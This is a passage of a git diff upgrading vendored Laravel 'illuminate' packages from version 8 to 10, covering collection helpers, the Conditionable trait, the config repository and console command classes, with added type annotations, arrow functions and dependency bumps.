pair. * - * @param string $key + * @param callable|string $key * @param mixed $operator * @param mixed $value - * @return mixed + * @return TValue|null */ public function firstWhere($key, $operator = null, $value = null) { return $this->first($this->operatorForWhere(...func_get_args())); } + /** + * Get a single key's value from the first matching item in the collection. + * + * @template TValueDefault + * + * @param string $key + * @param TValueDefault|(\Closure(): TValueDefault) $default + * @return TValue|TValueDefault + */ + public function value($key, $default = null) + { + if ($value = $this->firstWhere($key)) { + return data_get($value, $key, $default); + } + + return value($default); + } + + /** + * Ensure that every item in the collection is of the expected type. + * + * @template TEnsureOfType + * + * @param class-string|array> $type + * @return static + * + * @throws \UnexpectedValueException + */ + public function ensure($type) + { + $allowedTypes = is_array($type) ? $type : [$type]; + + return $this->each(function ($item) use ($allowedTypes) { + $itemType = get_debug_type($item); + + foreach ($allowedTypes as $allowedType) { + if ($itemType === $allowedType || $item instanceof $allowedType) { + return true; + } + } + + throw new UnexpectedValueException( + sprintf("Collection should only include [%s] items, but '%s' found.", implode(', ', $allowedTypes), $itemType) + ); + }); + } + /** * Determine if the collection is not empty. * @@ -316,8 +358,10 @@ public function isNotEmpty() /** * Run a map over each nested chunk of items. * - * @param callable $callback - * @return static + * @template TMapSpreadValue + * + * @param callable(mixed...): TMapSpreadValue $callback + * @return static */ public function mapSpread(callable $callback) { @@ -333,8 +377,11 @@ public function mapSpread(callable $callback) * * The callback should return an associative array with a single key/value pair. * - * @param callable $callback - * @return static + * @template TMapToGroupsKey of array-key + * @template TMapToGroupsValue + * + * @param callable(TValue, TKey): array $callback + * @return static> */ public function mapToGroups(callable $callback) { @@ -346,8 +393,11 @@ public function mapToGroups(callable $callback) /** * Map a collection and flatten the result by a single level. * - * @param callable $callback - * @return static + * @template TFlatMapKey of array-key + * @template TFlatMapValue + * + * @param callable(TValue, TKey): (\Illuminate\Support\Collection|array) $callback + * @return static */ public function flatMap(callable $callback) { @@ -357,48 +407,42 @@ public function flatMap(callable $callback) /** * Map the values into a new class. * - * @param string $class - * @return static + * @template TMapIntoValue + * + * @param class-string $class + * @return static */ public function mapInto($class) { - return $this->map(function ($value, $key) use ($class) { - return new $class($value, $key); - }); + return $this->map(fn ($value, $key) => new $class($value, $key)); } /** * Get the min value of a given key. * - * @param callable|string|null $callback + * @param (callable(TValue):mixed)|string|null $callback * @return mixed */ public function min($callback = null) { $callback = $this->valueRetriever($callback); - return $this->map(function ($value) use ($callback) { - return $callback($value); - })->filter(function ($value) { - return ! is_null($value); - })->reduce(function ($result, $value) { - return is_null($result) || $value < $result ? $value : $result; - }); + return $this->map(fn ($value) => $callback($value)) + ->filter(fn ($value) => ! is_null($value)) + ->reduce(fn ($result, $value) => is_null($result) || $value < $result ? $value : $result); } /** * Get the max value of a given key. * - * @param callable|string|null $callback + * @param (callable(TValue):mixed)|string|null $callback * @return mixed */ public function max($callback = null) { $callback = $this->valueRetriever($callback); - return $this->filter(function ($value) { - return ! is_null($value); - })->reduce(function ($result, $item) use ($callback) { + return $this->filter(fn ($value) => ! is_null($value))->reduce(function ($result, $item) use ($callback) { $value = $callback($item); return is_null($result) || $value > $result ? $value : $result; @@ -422,10 +466,10 @@ public function forPage($page, $perPage) /** * Partition the collection into two arrays using the given callback or key. * - * @param callable|string $key - * @param mixed $operator - * @param mixed $value - * @return static + * @param (callable(TValue, TKey): bool)|TValue|string $key + * @param TValue|string|null $operator + * @param TValue|null $value + * @return static, static> */ public function partition($key, $operator = null, $value = null) { @@ -448,51 +492,47 @@ public function partition($key, $operator = null, $value = null) } /** - * Get the sum of the given values. + * Calculate the percentage of items that pass a given truth test. * - * @param callable|string|null $callback - * @return mixed + * @param (callable(TValue, TKey): bool) $callback + * @param int $precision + * @return float|null */ - public function sum($callback = null) + public function percentage(callable $callback, int $precision = 2) { - $callback = is_null($callback) - ? $this->identity() - : $this->valueRetriever($callback); + if ($this->isEmpty()) { + return null; + } - return $this->reduce(function ($result, $item) use ($callback) { - return $result + $callback($item); - }, 0); + return round( + $this->filter($callback)->count() / $this->count() * 100, + $precision + ); } /** - * Apply the callback if the value is truthy. + * Get the sum of the given values. * - * @param bool|mixed $value - * @param callable|null $callback - * @param callable|null $default - * @return static|mixed + * @param (callable(TValue): mixed)|string|null $callback + * @return mixed */ - public function when($value, callable $callback = null, callable $default = null) + public function sum($callback = null) { - if (! $callback) { - return new HigherOrderWhenProxy($this, $value); - } - - if ($value) { - return $callback($this, $value); - } elseif ($default) { - return $default($this, $value); - } + $callback = is_null($callback) + ? $this->identity() + : $this->valueRetriever($callback); - return $this; + return $this->reduce(fn ($result, $item) => $result + $callback($item), 0); } /** * Apply the callback if the collection is empty. * - * @param callable $callback - * @param callable|null $default - * @return static|mixed + * @template TWhenEmptyReturnType + * + * @param (callable($this): TWhenEmptyReturnType) $callback + * @param (callable($this): TWhenEmptyReturnType)|null $default + * @return $this|TWhenEmptyReturnType */ public function whenEmpty(callable $callback, callable $default = null) { @@ -502,34 +542,25 @@ public function whenEmpty(callable $callback, callable $default = null) /** * Apply the callback if the collection is not empty. * - * @param callable $callback - * @param callable|null $default - * @return static|mixed + * @template TWhenNotEmptyReturnType + * + * @param callable($this): TWhenNotEmptyReturnType $callback + * @param (callable($this): TWhenNotEmptyReturnType)|null $default + * @return $this|TWhenNotEmptyReturnType */ public function whenNotEmpty(callable $callback, callable $default = null) { return $this->when($this->isNotEmpty(), $callback, $default); } - /** - * Apply the callback if the value is falsy. - * - * @param bool $value - * @param callable $callback - * @param callable|null $default - * @return static|mixed - */ - public function unless($value, callable $callback, callable $default = null) - { - return $this->when(! $value, $callback, $default); - } - /** * Apply the callback unless the collection is empty. * - * @param callable $callback - * @param callable|null $default - * @return static|mixed + * @template TUnlessEmptyReturnType + * + * @param callable($this): TUnlessEmptyReturnType $callback + * @param (callable($this): TUnlessEmptyReturnType)|null $default + * @return $this|TUnlessEmptyReturnType */ public function unlessEmpty(callable $callback, callable $default = null) { @@ -539,9 +570,11 @@ public function unlessEmpty(callable $callback, callable $default = null) /** * Apply the callback unless the collection is not empty. * - * @param callable $callback - * @param callable|null $default - * @return static|mixed + * @template TUnlessNotEmptyReturnType + * + * @param callable($this): TUnlessNotEmptyReturnType $callback + * @param (callable($this): TUnlessNotEmptyReturnType)|null $default + * @return $this|TUnlessNotEmptyReturnType */ public function unlessNotEmpty(callable $callback, callable $default = null) { @@ -551,7 +584,7 @@ public function unlessNotEmpty(callable $callback, callable $default = null) /** * Filter items by the given key value pair. * - * @param string $key + * @param callable|string $key * @param mixed $operator * @param mixed $value * @return static @@ -599,7 +632,7 @@ public function whereStrict($key, $value) * Filter items by the given key value pair. * * @param string $key - * @param mixed $values + * @param \Illuminate\Contracts\Support\Arrayable|iterable $values * @param bool $strict * @return static */ @@ -607,16 +640,14 @@ public function whereIn($key, $values, $strict = false) { $values = $this->getArrayableItems($values); - return $this->filter(function ($item) use ($key, $values, $strict) { - return in_array(data_get($item, $key), $values, $strict); - }); + return $this->filter(fn ($item) => in_array(data_get($item, $key), $values, $strict)); } /** * Filter items by the given key value pair using strict comparison. * * @param string $key - * @param mixed $values + * @param \Illuminate\Contracts\Support\Arrayable|iterable $values * @return static */ public function whereInStrict($key, $values) @@ -628,7 +659,7 @@ public function whereInStrict($key, $values) * Filter items such that the value of the given key is between the given values. * * @param string $key - * @param array $values + * @param \Illuminate\Contracts\Support\Arrayable|iterable $values * @return static */ public function whereBetween($key, $values) @@ -640,21 +671,21 @@ public function whereBetween($key, $values) * Filter items such that the value of the given key is not between the given values. * * @param string $key - * @param array $values + * @param \Illuminate\Contracts\Support\Arrayable|iterable $values * @return static */ public function whereNotBetween($key, $values) { - return $this->filter(function ($item) use ($key, $values) { - return data_get($item, $key) < reset($values) || data_get($item, $key) > end($values); - }); + return $this->filter( + fn ($item) => data_get($item, $key) < reset($values) || data_get($item, $key) > end($values) + ); } /** * Filter items by the given key value pair. * * @param string $key - * @param mixed $values + * @param \Illuminate\Contracts\Support\Arrayable|iterable $values * @param bool $strict * @return static */ @@ -662,16 +693,14 @@ public function whereNotIn($key, $values, $strict = false) { $values = $this->getArrayableItems($values); - return $this->reject(function ($item) use ($key, $values, $strict) { - return in_array(data_get($item, $key), $values, $strict); - }); + return $this->reject(fn ($item) => in_array(data_get($item, $key), $values, $strict)); } /** * Filter items by the given key value pair using strict comparison. * * @param string $key - * @param mixed $values + * @param \Illuminate\Contracts\Support\Arrayable|iterable $values * @return static */ public function whereNotInStrict($key, $values) @@ -682,8 +711,10 @@ public function whereNotInStrict($key, $values) /** * Filter the items, removing any items that don't match the given type(s). * - * @param string|string[] $type - * @return static + * @template TWhereInstanceOf + * + * @param class-string|array> $type + * @return static */ public function whereInstanceOf($type) { @@ -705,8 +736,10 @@ public function whereInstanceOf($type) /** * Pass the collection to the given callback and return the result. * - * @param callable $callback - * @return mixed + * @template TPipeReturnType + * + * @param callable($this): TPipeReturnType $callback + * @return TPipeReturnType */ public function pipe(callable $callback) { @@ -716,8 +749,10 @@ public function pipe(callable $callback) /** * Pass the collection into a new class. * - * @param string $class - * @return mixed + * @template TPipeIntoValue + * + * @param class-string $class + * @return TPipeIntoValue */ public function pipeInto($class) { @@ -727,38 +762,26 @@ public function pipeInto($class) /** * Pass the collection through a series of callable pipes and return the result. * - * @param array $pipes + * @param array $callbacks * @return mixed */ - public function pipeThrough($pipes) + public function pipeThrough($callbacks) { - return static::make($pipes)->reduce( - function ($carry, $pipe) { - return $pipe($carry); - }, + return Collection::make($callbacks)->reduce( + fn ($carry, $callback) => $callback($carry), $this, ); } - /** - * Pass the collection to the given callback and then return it. - * - * @param callable $callback - * @return $this - */ - public function tap(callable $callback) - { - $callback(clone $this); - - return $this; - } - /** * Reduce the collection to a single value. * - * @param callable $callback - * @param mixed $initial - * @return mixed + * @template TReduceInitial + * @template TReduceReturnType + * + * @param callable(TReduceInitial|TReduceReturnType, TValue, TKey): TReduceReturnType $callback + * @param TReduceInitial $initial + * @return TReduceReturnType */ public function reduce(callable $callback, $initial = null) { @@ -771,22 +794,6 @@ public function reduce(callable $callback, $initial = null) return $result; } - /** - * Reduce the collection to multiple aggregate values. - * - * @param callable $callback - * @param mixed ...$initial - * @return array - * - * @deprecated Use "reduceSpread" instead - * - * @throws \UnexpectedValueException - */ - public function reduceMany(callable $callback, ...$initial) - { - return $this->reduceSpread($callback, ...$initial); - } - /** * Reduce the collection to multiple aggregate values. * @@ -805,7 +812,7 @@ public function reduceSpread(callable $callback, ...$initial) if (! is_array($result)) { throw new UnexpectedValueException(sprintf( - "%s::reduceMany expects reducer to return an array, but got a '%s' instead.", + "%s::reduceSpread expects reducer to return an array, but got a '%s' instead.", class_basename(static::class), gettype($result) )); } @@ -817,9 +824,12 @@ class_basename(static::class), gettype($result) /** * Reduce an associative collection to a single value. * - * @param callable $callback - * @param mixed $initial - * @return mixed + * @template TReduceWithKeysInitial + * @template TReduceWithKeysReturnType + * + * @param callable(TReduceWithKeysInitial|TReduceWithKeysReturnType, TValue, TKey): TReduceWithKeysReturnType $callback + * @param TReduceWithKeysInitial $initial + * @return TReduceWithKeysReturnType */ public function reduceWithKeys(callable $callback, $initial = null) { @@ -829,7 +839,7 @@ public function reduceWithKeys(callable $callback, $initial = null) /** * Create a collection of all elements that do not pass a given truth test. * - * @param callable|mixed $callback + * @param (callable(TValue, TKey): bool)|bool|TValue $callback * @return static */ public function reject($callback = true) @@ -843,10 +853,45 @@ public function reject($callback = true) }); } + /** + * Pass the collection to the given callback and then return it. + * + * @param callable($this): mixed $callback + * @return $this + */ + public function tap(callable $callback) + { + $callback($this); + + return $this; + } + + /** + * Return only unique items from the collection array. + * + * @param (callable(TValue, TKey): mixed)|string|null $key + * @param bool $strict + * @return static + */ + public function unique($key = null, $strict = false) + { + $callback = $this->valueRetriever($key); + + $exists = []; + + return $this->reject(function ($item, $key) use ($callback, $strict, &$exists) { + if (in_array($id = $callback($item, $key), $exists, $strict)) { + return true; + } + + $exists[] = $id; + }); + } + /** * Return only unique items from the collection array using strict comparison. * - * @param string|callable|null $key + * @param (callable(TValue, TKey): mixed)|string|null $key * @return static */ public function uniqueStrict($key = null) @@ -857,7 +902,7 @@ public function uniqueStrict($key = null) /** * Collect the values into a collection. * - * @return \Illuminate\Support\Collection + * @return \Illuminate\Support\Collection */ public function collect() { @@ -867,22 +912,19 @@ public function collect() /** * Get the collection of items as a plain array. * - * @return array + * @return array */ public function toArray() { - return $this->map(function ($value) { - return $value instanceof Arrayable ? $value->toArray() : $value; - })->all(); + return $this->map(fn ($value) => $value instanceof Arrayable ? $value->toArray() : $value)->all(); } /** * Convert the object into something JSON serializable. * - * @return array + * @return array */ - #[\ReturnTypeWillChange] - public function jsonSerialize() + public function jsonSerialize(): array { return array_map(function ($value) { if ($value instanceof JsonSerializable) { @@ -976,39 +1018,40 @@ public function __get($key) * Results array of items from Collection or Arrayable. * * @param mixed $items - * @return array + * @return array */ protected function getArrayableItems($items) { if (is_array($items)) { return $items; - } elseif ($items instanceof Enumerable) { - return $items->all(); - } elseif ($items instanceof Arrayable) { - return $items->toArray(); - } elseif ($items instanceof Jsonable) { - return json_decode($items->toJson(), true); - } elseif ($items instanceof JsonSerializable) { - return (array) $items->jsonSerialize(); - } elseif ($items instanceof Traversable) { - return iterator_to_array($items); - } elseif ($items instanceof UnitEnum) { - return [$items]; } - return (array) $items; + return match (true) { + $items instanceof WeakMap => throw new InvalidArgumentException('Collections can not be created using instances of WeakMap.'), + $items instanceof Enumerable => $items->all(), + $items instanceof Arrayable => $items->toArray(), + $items instanceof Traversable => iterator_to_array($items), + $items instanceof Jsonable => json_decode($items->toJson(), true), + $items instanceof JsonSerializable => (array) $items->jsonSerialize(), + $items instanceof UnitEnum => [$items], + default => (array) $items, + }; } /** * Get an operator checker callback. * - * @param string $key + * @param callable|string $key * @param string|null $operator * @param mixed $value * @return \Closure */ protected function operatorForWhere($key, $operator = null, $value = null) { + if ($this->useAsCallable($key)) { + return $key; + } + if (func_num_args() === 1) { $value = true; @@ -1044,6 +1087,7 @@ protected function operatorForWhere($key, $operator = null, $value = null) case '>=': return $retrieved >= $value; case '===': return $retrieved === $value; case '!==': return $retrieved !== $value; + case '<=>': return $retrieved <=> $value; } }; } @@ -1071,22 +1115,18 @@ protected function valueRetriever($value) return $value; } - return function ($item) use ($value) { - return data_get($item, $value); - }; + return fn ($item) => data_get($item, $value); } /** * Make a function to check an item's equality. * * @param mixed $value - * @return \Closure + * @return \Closure(mixed): bool */ protected function equality($value) { - return function ($item) use ($value) { - return $item === $value; - }; + return fn ($item) => $item === $value; } /** @@ -1097,20 +1137,16 @@ protected function equality($value) */ protected function negate(Closure $callback) { - return function (...$params) use ($callback) { - return ! $callback(...$params); - }; + return fn (...$params) => ! $callback(...$params); } /** * Make a function that returns what's passed to it. * - * @return \Closure + * @return \Closure(TValue): TValue */ protected function identity() { - return function ($value) { - return $value; - }; + return fn ($value) => $value; } } diff --git a/vendor/illuminate/collections/composer.json b/vendor/illuminate/collections/composer.json index ecc453726..5e11a788e 100644 --- a/vendor/illuminate/collections/composer.json +++ b/vendor/illuminate/collections/composer.json @@ -14,9 +14,10 @@ } ], "require": { - "php": "^7.3|^8.0", - "illuminate/contracts": "^8.0", - "illuminate/macroable": "^8.0" + "php": "^8.1", + "illuminate/conditionable": "^10.0", + "illuminate/contracts": "^10.0", + "illuminate/macroable": "^10.0" }, "autoload": { "psr-4": { @@ -28,11 +29,11 @@ }, "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "suggest": { - "symfony/var-dumper": "Required to use the dump method (^5.4)." + "symfony/var-dumper": "Required to use the dump method (^6.2)." }, "config": { "sort-packages": true diff --git a/vendor/illuminate/collections/helpers.php b/vendor/illuminate/collections/helpers.php index 67669e5ce..235edceb1 100644 --- a/vendor/illuminate/collections/helpers.php +++ b/vendor/illuminate/collections/helpers.php @@ -7,10 +7,13 @@ /** * Create a collection from the given value. * - * @param mixed $value - * @return \Illuminate\Support\Collection + * @template TKey of array-key + * @template TValue + * + * @param \Illuminate\Contracts\Support\Arrayable|iterable|null $value + * @return \Illuminate\Support\Collection */ - function collect($value = null) + function collect($value = []) { return new Collection($value); } @@ -58,7 +61,7 @@ function data_get($target, $key, $default = null) if ($segment === '*') { if ($target instanceof Collection) { $target = $target->all(); - } elseif (! is_array($target)) { + } elseif (! is_iterable($target)) { return value($default); } @@ -146,6 +149,42 @@ function data_set(&$target, $key, $value, $overwrite = true) } } +if (! function_exists('data_forget')) { + /** + * Remove / unset an item from an array or object using "dot" notation. + * + * @param mixed $target + * @param string|array|int|null $key + * @return mixed + */ + function data_forget(&$target, $key) + { + $segments = is_array($key) ? $key : explode('.', $key); + + if (($segment = array_shift($segments)) === '*' && Arr::accessible($target)) { + if ($segments) { + foreach ($target as &$inner) { + data_forget($inner, $segments); + } + } + } elseif (Arr::accessible($target)) { + if ($segments && Arr::exists($target, $segment)) { + data_forget($target[$segment], $segments); + } else { + Arr::forget($target, $segment); + } + } elseif (is_object($target)) { + if ($segments && isset($target->{$segment})) { + data_forget($target->{$segment}, $segments); + } elseif (isset($target->{$segment})) { + unset($target->{$segment}); + } + } + + return $target; + } +} + if (! function_exists('head')) { /** * Get the first element of an array. Useful for method chaining. @@ -177,6 +216,7 @@ function last($array) * Return the default value of the given value. * * @param mixed $value + * @param mixed ...$args * @return mixed */ function value($value, ...$args) diff --git a/vendor/illuminate/conditionable/HigherOrderWhenProxy.php b/vendor/illuminate/conditionable/HigherOrderWhenProxy.php new file mode 100644 index 000000000..579114cf1 --- /dev/null +++ b/vendor/illuminate/conditionable/HigherOrderWhenProxy.php @@ -0,0 +1,109 @@ +target = $target; + } + + /** + * Set the condition on the proxy. + * + * @param bool $condition + * @return $this + */ + public function condition($condition) + { + [$this->condition, $this->hasCondition] = [$condition, true]; + + return $this; + } + + /** + * Indicate that the condition should be negated. + * + * @return $this + */ + public function negateConditionOnCapture() + { + $this->negateConditionOnCapture = true; + + return $this; + } + + /** + * Proxy accessing an attribute onto the target. + * + * @param string $key + * @return mixed + */ + public function __get($key) + { + if (! $this->hasCondition) { + $condition = $this->target->{$key}; + + return $this->condition($this->negateConditionOnCapture ? ! $condition : $condition); + } + + return $this->condition + ? $this->target->{$key} + : $this->target; + } + + /** + * Proxy a method call on the target. + * + * @param string $method + * @param array $parameters + * @return mixed + */ + public function __call($method, $parameters) + { + if (! $this->hasCondition) { + $condition = $this->target->{$method}(...$parameters); + + return $this->condition($this->negateConditionOnCapture ? ! $condition : $condition); + } + + return $this->condition + ? $this->target->{$method}(...$parameters) + : $this->target; + } +} diff --git a/vendor/illuminate/conditionable/Traits/Conditionable.php b/vendor/illuminate/conditionable/Traits/Conditionable.php new file mode 100644 index 000000000..19307437c --- /dev/null +++ b/vendor/illuminate/conditionable/Traits/Conditionable.php @@ -0,0 +1,73 @@ +condition($value); + } + + if ($value) { + return $callback($this, $value) ?? $this; + } elseif ($default) { + return $default($this, $value) ?? $this; + } + + return $this; + } + + /** + * Apply the callback if the given "value" is (or resolves to) falsy. + * + * @template TUnlessParameter + * @template TUnlessReturnType + * + * @param (\Closure($this): TUnlessParameter)|TUnlessParameter|null $value + * @param (callable($this, TUnlessParameter): TUnlessReturnType)|null $callback + * @param (callable($this, TUnlessParameter): TUnlessReturnType)|null $default + * @return $this|TUnlessReturnType + */ + public function unless($value = null, callable $callback = null, callable $default = null) + { + $value = $value instanceof Closure ? $value($this) : $value; + + if (func_num_args() === 0) { + return (new HigherOrderWhenProxy($this))->negateConditionOnCapture(); + } + + if (func_num_args() === 1) { + return (new HigherOrderWhenProxy($this))->condition(! $value); + } + + if (! $value) { + return $callback($this, $value) ?? $this; + } elseif ($default) { + return $default($this, $value) ?? $this; + } + + return $this; + } +} diff --git a/vendor/illuminate/conditionable/composer.json b/vendor/illuminate/conditionable/composer.json new file mode 100644 index 000000000..40b080806 --- /dev/null +++ b/vendor/illuminate/conditionable/composer.json @@ -0,0 +1,33 @@ +{ + "name": "illuminate/conditionable", + "description": "The Illuminate Conditionable package.", + "license": "MIT", + "homepage": "https://laravel.com", + "support": { + "issues": "https://github.com/laravel/framework/issues", + "source": "https://github.com/laravel/framework" + }, + "authors": [ + { + "name": "Taylor Otwell", + "email": "taylor@laravel.com" + } + ], + "require": { + "php": "^8.0.2" + }, + "autoload": { + "psr-4": { + "Illuminate\\Support\\": "" + } + }, + "extra": { + "branch-alias": { + "dev-master": "10.x-dev" + } + }, + "config": { + "sort-packages": true + }, + "minimum-stability": "dev" +} diff --git a/vendor/illuminate/config/Repository.php b/vendor/illuminate/config/Repository.php index 1719e90a9..640d6731b 100644 --- a/vendor/illuminate/config/Repository.php +++ b/vendor/illuminate/config/Repository.php @@ -5,9 +5,12 @@ use ArrayAccess; use Illuminate\Contracts\Config\Repository as ConfigContract; use Illuminate\Support\Arr; +use Illuminate\Support\Traits\Macroable; class Repository implements ArrayAccess, ConfigContract { + use Macroable; + /** * All of the configuration items. * @@ -138,8 +141,7 @@ public function all() * @param string $key * @return bool */ - #[\ReturnTypeWillChange] - public function offsetExists($key) + public function offsetExists($key): bool { return $this->has($key); } @@ -150,8 +152,7 @@ public function offsetExists($key) * @param string $key * @return mixed */ - #[\ReturnTypeWillChange] - public function offsetGet($key) + public function offsetGet($key): mixed { return $this->get($key); } @@ -163,8 +164,7 @@ public function offsetGet($key) * @param mixed $value * @return void */ - #[\ReturnTypeWillChange] - public function offsetSet($key, $value) + public function offsetSet($key, $value): void { $this->set($key, $value); } @@ -175,8 +175,7 @@ public function offsetSet($key, $value) * @param string $key * @return void */ - #[\ReturnTypeWillChange] - public function offsetUnset($key) + public function offsetUnset($key): void { $this->set($key, null); } diff --git a/vendor/illuminate/config/composer.json b/vendor/illuminate/config/composer.json index 9d577bb46..d3442b45a 100644 --- a/vendor/illuminate/config/composer.json +++ b/vendor/illuminate/config/composer.json @@ -14,9 +14,9 @@ } ], "require": { - "php": "^7.3|^8.0", - "illuminate/collections": "^8.0", - "illuminate/contracts": "^8.0" + "php": "^8.1", + "illuminate/collections": "^10.0", + "illuminate/contracts": "^10.0" }, "autoload": { "psr-4": { @@ -25,7 +25,7 @@ }, "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "config": { diff --git a/vendor/illuminate/console/Application.php b/vendor/illuminate/console/Application.php index 88c65c708..d880f8df6 100644 --- a/vendor/illuminate/console/Application.php +++ b/vendor/illuminate/console/Application.php @@ -4,8 +4,6 @@ use Closure; use Illuminate\Console\Events\ArtisanStarting; -use Illuminate\Console\Events\CommandFinished; -use Illuminate\Console\Events\CommandStarting; use Illuminate\Contracts\Console\Application as ApplicationContract; use Illuminate\Contracts\Container\Container; use Illuminate\Contracts\Events\Dispatcher; @@ -13,13 +11,11 @@ use Symfony\Component\Console\Application as SymfonyApplication; use Symfony\Component\Console\Command\Command as SymfonyCommand; use Symfony\Component\Console\Exception\CommandNotFoundException; -use Symfony\Component\Console\Input\ArgvInput; use Symfony\Component\Console\Input\ArrayInput; -use Symfony\Component\Console\Input\InputInterface; +use Symfony\Component\Console\Input\InputDefinition; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Input\StringInput; use Symfony\Component\Console\Output\BufferedOutput; -use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Process\PhpExecutableFinder; class Application extends SymfonyApplication implements ApplicationContract @@ -31,6 +27,13 @@ class Application extends SymfonyApplication implements ApplicationContract */ protected $laravel; + /** + * The event dispatcher instance. + * + * @var \Illuminate\Contracts\Events\Dispatcher + */ + protected $events; + /** * The output from the previous command. * @@ -46,11 +49,11 @@ class Application extends SymfonyApplication implements ApplicationContract protected static $bootstrappers = []; /** - * The Event Dispatcher. + * A map of command names to classes. * - * @var \Illuminate\Contracts\Events\Dispatcher + * @var array */ - protected $events; + protected $commandMap = []; /** * Create a new Artisan console application. @@ -74,32 +77,6 @@ public function __construct(Container $laravel, Dispatcher $events, $version) $this->bootstrap(); } - /** - * {@inheritdoc} - * - * @return int - */ - public function run(InputInterface $input = null, OutputInterface $output = null) - { - $commandName = $this->getCommandName( - $input = $input ?: new ArgvInput - ); - - $this->events->dispatch( - new CommandStarting( - $commandName, $input, $output = $output ?: new BufferedConsoleOutput - ) - ); - - $exitCode = parent::run($input, $output); - - $this->events->dispatch( - new CommandFinished($commandName, $input, $output, $exitCode) - ); - - return $exitCode; - } - /** * Determine the proper PHP executable. * @@ -254,11 +231,23 @@ protected function addToParent(SymfonyCommand $command) /** * Add a command, resolving through the application. * - * @param string $command - * @return \Symfony\Component\Console\Command\Command + * @param \Illuminate\Console\Command|string $command + * @return \Symfony\Component\Console\Command\Command|null */ public function resolve($command) { + if (is_subclass_of($command, SymfonyCommand::class) && ($commandName = $command::getDefaultName())) { + foreach (explode('|', $commandName) as $name) { + $this->commandMap[$name] = $command; + } + + return null; + } + + if ($command instanceof Command) { + return $this->add($command); + } + return $this->add($this->laravel->make($command)); } @@ -279,6 +268,18 @@ public function resolveCommands($commands) return $this; } + /** + * Set the container command loader for lazy resolution. + * + * @return $this + */ + public function setContainerCommandLoader() + { + $this->setCommandLoader(new ContainerCommandLoader($this->laravel, $this->commandMap)); + + return $this; + } + /** * Get the default input definition for the application. * @@ -286,7 +287,7 @@ public function resolveCommands($commands) * * @return \Symfony\Component\Console\Input\InputDefinition */ - protected function getDefaultInputDefinition() + protected function getDefaultInputDefinition(): InputDefinition { return tap(parent::getDefaultInputDefinition(), function ($definition) { $definition->addOption($this->getEnvironmentOption()); diff --git a/vendor/illuminate/console/BufferedConsoleOutput.php b/vendor/illuminate/console/BufferedConsoleOutput.php index 4bb5ca228..aa4e6ceed 100644 --- a/vendor/illuminate/console/BufferedConsoleOutput.php +++ b/vendor/illuminate/console/BufferedConsoleOutput.php @@ -27,6 +27,8 @@ public function fetch() /** * {@inheritdoc} + * + * @return void */ protected function doWrite(string $message, bool $newline) { diff --git a/vendor/illuminate/console/CacheCommandMutex.php b/vendor/illuminate/console/CacheCommandMutex.php new file mode 100644 index 000000000..0a896c6bc --- /dev/null +++ b/vendor/illuminate/console/CacheCommandMutex.php @@ -0,0 +1,141 @@ +cache = $cache; + } + + /** + * Attempt to obtain a command mutex for the given command. + * + * @param \Illuminate\Console\Command $command + * @return bool + */ + public function create($command) + { + $store = $this->cache->store($this->store); + + $expiresAt = method_exists($command, 'isolationLockExpiresAt') + ? $command->isolationLockExpiresAt() + : CarbonInterval::hour(); + + if ($this->shouldUseLocks($store->getStore())) { + return $store->getStore()->lock( + $this->commandMutexName($command), + $this->secondsUntil($expiresAt) + )->get(); + } + + return $store->add($this->commandMutexName($command), true, $expiresAt); + } + + /** + * Determine if a command mutex exists for the given command. + * + * @param \Illuminate\Console\Command $command + * @return bool + */ + public function exists($command) + { + $store = $this->cache->store($this->store); + + if ($this->shouldUseLocks($store->getStore())) { + $lock = $store->getStore()->lock($this->commandMutexName($command)); + + return tap(! $lock->get(), function ($exists) use ($lock) { + if ($exists) { + $lock->release(); + } + }); + } + + return $this->cache->store($this->store)->has($this->commandMutexName($command)); + } + + /** + * Release the mutex for the given command. + * + * @param \Illuminate\Console\Command $command + * @return bool + */ + public function forget($command) + { + $store = $this->cache->store($this->store); + + if ($this->shouldUseLocks($store->getStore())) { + return $store->getStore()->lock($this->commandMutexName($command))->forceRelease(); + } + + return $this->cache->store($this->store)->forget($this->commandMutexName($command)); + } + + /** + * Get the isolatable command mutex name. + * + * @param \Illuminate\Console\Command $command + * @return string + */ + protected function commandMutexName($command) + { + $baseName = 'framework'.DIRECTORY_SEPARATOR.'command-'.$command->getName(); + + return method_exists($command, 'isolatableId') + ? $baseName.'-'.$command->isolatableId() + : $baseName; + } + + /** + * Specify the cache store that should be used. + * + * @param string|null $store + * @return $this + */ + public function useStore($store) + { + $this->store = $store; + + return $this; + } + + /** + * Determine if the given store should use locks for command mutexes. + * + * @param \Illuminate\Contracts\Cache\Store $store + * @return bool + */ + protected function shouldUseLocks($store) + { + return $store instanceof LockProvider && ! $store instanceof DynamoDbStore; + } +} diff --git a/vendor/illuminate/console/Command.php b/vendor/illuminate/console/Command.php index 5c8c179f0..7e1b3a1ff 100644 --- a/vendor/illuminate/console/Command.php +++ b/vendor/illuminate/console/Command.php @@ -2,16 +2,22 @@ namespace Illuminate\Console; +use Illuminate\Console\View\Components\Factory; +use Illuminate\Contracts\Console\Isolatable; use Illuminate\Support\Traits\Macroable; use Symfony\Component\Console\Command\Command as SymfonyCommand; use Symfony\Component\Console\Input\InputInterface; +use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; class Command extends SymfonyCommand { use Concerns\CallsCommands, + Concerns\ConfiguresPrompts, Concerns\HasParameters, Concerns\InteractsWithIO, + Concerns\InteractsWithSignals, + Concerns\PromptsForMissingInput, Macroable; /** @@ -38,7 +44,7 @@ class Command extends SymfonyCommand /** * The console command description. * - * @var string + * @var string|null */ protected $description; @@ -56,6 +62,27 @@ class Command extends SymfonyCommand */ protected $hidden = false; + /** + * Indicates whether only one instance of the command can run at any given time. + * + * @var bool + */ + protected $isolated = false; + + /** + * The default exit code for isolated commands. + * + * @var int + */ + protected $isolatedExitCode = self::SUCCESS; + + /** + * The console command name aliases. + * + * @var array + */ + protected $aliases; + /** * Create a new console command instance. * @@ -75,15 +102,27 @@ public function __construct() // Once we have constructed the command, we'll set the description and other // related properties of the command. If a signature wasn't used to build // the command we'll set the arguments and the options on this command. - $this->setDescription((string) $this->description); + if (! isset($this->description)) { + $this->setDescription((string) static::getDefaultDescription()); + } else { + $this->setDescription((string) $this->description); + } $this->setHelp((string) $this->help); $this->setHidden($this->isHidden()); + if (isset($this->aliases)) { + $this->setAliases((array) $this->aliases); + } + if (! 